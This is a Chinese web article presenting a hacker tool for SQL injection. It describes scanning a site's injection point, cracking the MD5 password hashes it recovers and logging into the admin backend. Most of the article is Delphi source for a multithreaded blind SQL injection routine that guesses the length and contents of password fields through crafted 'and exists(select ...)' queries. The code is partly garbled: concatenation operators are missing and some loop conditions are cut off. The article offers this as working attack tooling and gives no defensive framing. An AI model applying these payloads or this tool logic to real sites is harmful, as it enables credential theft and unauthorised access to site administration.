黑客的脚本漏洞工具分析(图)
程序员文章站
2022-12-15 08:26:50
上图只是对一个网站注入点的工具检测,当然看到了结果扫出来的密码为16位的md5加密码,但我们可以通过md5密码破解工具进行破解的。然后找到后台用所得的用户名和密码进行登录即可。对... 08-10-08...
上图只是对一个网站注入点的工具检测,当然看到了结果扫出来的密码为16位的md5加密码,但我们可以通过md5密码破解工具进行破解的。然后找到后台用所得的用户名和密码进行登录即可。对于黑客软件,其实并不是我们想象的那么复杂,只是根据掌握的漏洞信息提交相应该的数据罢了,我们看下下面一段用delphi写的注入的片段就清楚不过了。这里控件的设置和线程的创建略,我们主要是看看猜解的过程,如下:
procedure tmainform.guesscontproc(listint: integer); { sql注入 - 多线程猜解字段内容 }
function sqltextfunc(url, topstr, tablename, fieldname, levelstr: string; len: integer): string;
begin
result := url ’ and exists(select * from ’ tablename ’ where len(’ fieldname ’)’ levelstr inttostr(len) ’ and id=(select max(id) from ’ tablename ’ where id in (select top ’ topstr ’ id from ’ tablename ’ order by id)))’
end;
var
tablename: string;
fieldname, s: string;
contentint: integer;
i, len, lengthint, n: integer;
gridcount: integer;
colu: tcolumn;
flagbool: boolean;
begin
len := 0;
lengthint := 0;
flagbool := true;
tablename := tablenamelst.items[tablenamelst.itemindex];
fieldname := memo2.lines[listint];
if (lowercase(fieldname) = ’password’) or (lowercase(fieldname) = ’pass’) or
(lowercase(fieldname) = ’admin_pass’) or (fieldname = ’密码’) or
(lowercase(fieldname) = ’userpassword’) or (lowercase(fieldname) = ’passwd’) then
begin
contentint := get_httpsize(sqltextfunc(sql_edurl.text, sqledtop.text, tablename, fieldname, ’=’, 16), 800);
if contentint >= and1num then
begin
sqlresultmemo.lines.add(fieldname ’长度: 16’);
lengthint := 16
end
else
begin
while (len
begin
application.processmessages;
inc(len, 2);
pane1.caption := ’正在检测长度:len(’ fieldname ’)=’ inttostr(len);
contentint := get_httpsize(sqltextfunc(sql_edurl.text, sqledtop.text, tablename, fieldname, ’
if contentint >= and1num then
begin
for n := len - 1 to len do
begin
contentint := get_httpsize(sqltextfunc(sql_edurl.text, sqledtop.text, tablename, fieldname, ’=’, n), 800);
if contentint >= and1num then
begin
lengthint := n;
sqlresultmemo.lines.add(fieldname ’长度: ’ inttostr(n));
flagbool := false;
break;
end; // if
end; // for
end; // if
end; // while
end;
end
else
begin
while (len
begin
application.processmessages;
inc(len, 2);
pane1.caption := ’正在检测长度:len(’ fieldname ’)=’ inttostr(len);
contentint := get_httpsize(sqltextfunc(sql_edurl.text, sqledtop.text, tablename, fieldname, ’
if contentint >= and1num then
begin
for n := len - 1 to len do
begin
contentint := get_httpsize(sqltextfunc(sql_edurl.text, sqledtop.text, tablename, fieldname, ’=’, n), 800);
if contentint >= and1num then
begin
lengthint := n;
sqlresultmemo.lines.add(fieldname ’长度: ’ inttostr(n));
flagbool := false;
break;
end; // if
end; // for
end; // if
end; // while
end;
guesslsv.clear;
if len >= 50 then
begin
sql_edurl.enabled := true;
sql_guesstable.enabled := true;
tablenamelst.enabled := true;
fieldnamelst.enabled := true;
application.messagebox(’列名长度大于50,猜解失败!’, ’提示’, 32);
exit;
end;
pane1.caption := ’正在检测’ fieldname ’的内容...’;
guesslsv.update;
if lengthint = 5 then
begin
contentint := get_httpsize(sql_edurl.text ’ and exists (select top ’ sqledtop.text ’ ’ fieldname ’ from ’ tablename ’ where instr(’ fieldname ’,’’admin’’)=1 and len(username)=5)’);
if contentint >= and1num then
begin
s := ’admin’;
for i := 1 to 5 do
begin
application.processmessages;
with guesslsv.items.add do
begin
caption := ’第’ inttostr(i) ’位’;
subitems.add(s);
end;
sleep(60);
guesslsv.update;
end;
inc(sql_scancontent_threadcreatecount);
stringgrid1.cells[sql_scancontent_threadcreatecount - 1, 1] := ’admin’;
stringgrid1.cells[sql_scancontent_threadcreatecount, 1] := ’检测中...’;
sqlresultmemo.lines.add(fieldnamelst.items[fieldnamelst.itemindex] ’内容:admin’);
if sql_scancontent_threadcreatecount
guesscontproc(sql_scancontent_threadcreatecount - 1);
exit;
end
else
begin
for i := 1 to lengthint do
begin
application.processmessages;
with guesslsv.items.add do
begin
caption := ’第’ inttostr(i) ’位’;
subitems.add(’检测中’);
end;
sleep(30);
end;
end;
end
else
begin
for i := 1 to lengthint do
begin
application.processmessages;
with guesslsv.items.add do
begin
caption := ’第’ inttostr(i) ’位’;
subitems.add(’检测中’);
end;
sleep(30);
end;
end;
从上面的代码中,我们可以看出,黑客软件只是代替了手工操作,通过多线程更进一步提高了猜解的速度,但猜解的表和字段还得我们自己设定,然后通过post提交我们设定的格式(其中url中的 是空格的意思,因为在网址后面执行相应的sql语句时都要有相应的空格),按照我们设定的表和字段猜解出相应的用户名和密码内容。
上一篇: 关于Flash层的深度处理问题
下一篇: 详细介绍如何捕获网络数据包